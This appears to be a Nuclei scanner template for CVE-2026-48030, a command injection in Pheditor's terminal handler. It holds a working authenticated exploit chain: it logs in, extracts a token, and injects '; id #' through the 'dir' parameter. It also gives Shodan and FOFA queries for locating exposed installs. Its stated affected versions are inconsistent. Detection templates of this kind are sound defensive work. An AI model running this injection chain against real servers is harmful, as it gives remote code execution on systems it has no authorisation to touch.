Description
Pheditor 2.0.1 to - 2.0.4 contains an OS command injection caused by improper sanitization of the 'dir' POST parameter in the terminal action handler, letting authenticated users execute arbitrary OS commands with web server privileges.
Pheditor 2.0.1 to - 2.0.4 contains an OS command injection caused by improper sanitization of the 'dir' POST parameter in the terminal action handler, letting authenticated users execute arbitrary OS commands with web server privileges.
id: CVE-2026-48030
info:
name: Pheditor 2.0.1-2.0.3 - OS Command Injection
author: juoum00000
severity: critical
description: |
Pheditor 2.0.1 to - 2.0.4 contains an OS command injection caused by improper sanitization of the 'dir' POST parameter in the terminal action handler, letting authenticated users execute arbitrary OS commands with web server privileges.
impact: |
Authenticated users can execute arbitrary OS commands, leading to full remote code execution with web server privileges.
remediation: |
Upgrade to version 2.0.4 or later.
reference:
- https://github.com/advisories/GHSA-jvc5-6g7q-c843
- https://github.com/muslimbek-0x/CVE-2026-48030
- https://nvd.nist.gov/vuln/detail/CVE-2026-48030
classification:
cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:H/I:H/A:H
cvss-score: 9.9
cve-id: CVE-2026-48030
epss-score: 0.05849
epss-percentile: 0.928
cwe-id: CWE-78
metadata:
max-request: 4
verified: true
vendor: pheditor
product: pheditor
fofa-query: body="pheditor_password"
shodan-query: http.html:pheditor
tags: cve,cve2026,rce,pheditor,authenticated
flow: http(1) && http(2) && http(3)
http:
- raw:
- |
POST /pheditor.php HTTP/1.1
Host: {{Hostname}}
Content-Type: application/x-www-form-urlencoded
pheditor_password={{password}}
matchers:
- type: dsl
dsl:
- 'status_code == 302'
internal: true
- raw:
- |
GET /pheditor.php HTTP/1.1
Host: {{Hostname}}
matchers:
- type: dsl
dsl:
- 'status_code == 200'
- 'contains(body, "token")'
- '!contains(body, "pheditor_password")'
condition: and
internal: true
extractors:
- type: regex
name: token
group: 1
internal: true
regex:
- 'token = "([0-9a-f]{64})"'
- raw:
- |
POST /pheditor.php HTTP/1.1
Host: {{Hostname}}
Content-Type: application/x-www-form-urlencoded
action=terminal&command=whoami&dir=/tmp%3B%20id%20%23&token={{token}}
matchers:
- type: dsl
dsl:
- 'status_code == 200'
- 'contains(body, "uid=")'
condition: and
# digest: 4a0a004730450221008ad7de2606b1e5f4afebbb692e75a3db4aab58009b261b2f90789e9ae52b6fd602202c291bf45392ef3924776ebfa13582377d19c06d03720027d62c2c32a3ace5fe:922c64590222798bb761d5b6d8e72950
# Visit https://trap.biu.life/ to view exploit trends for this vulnerability.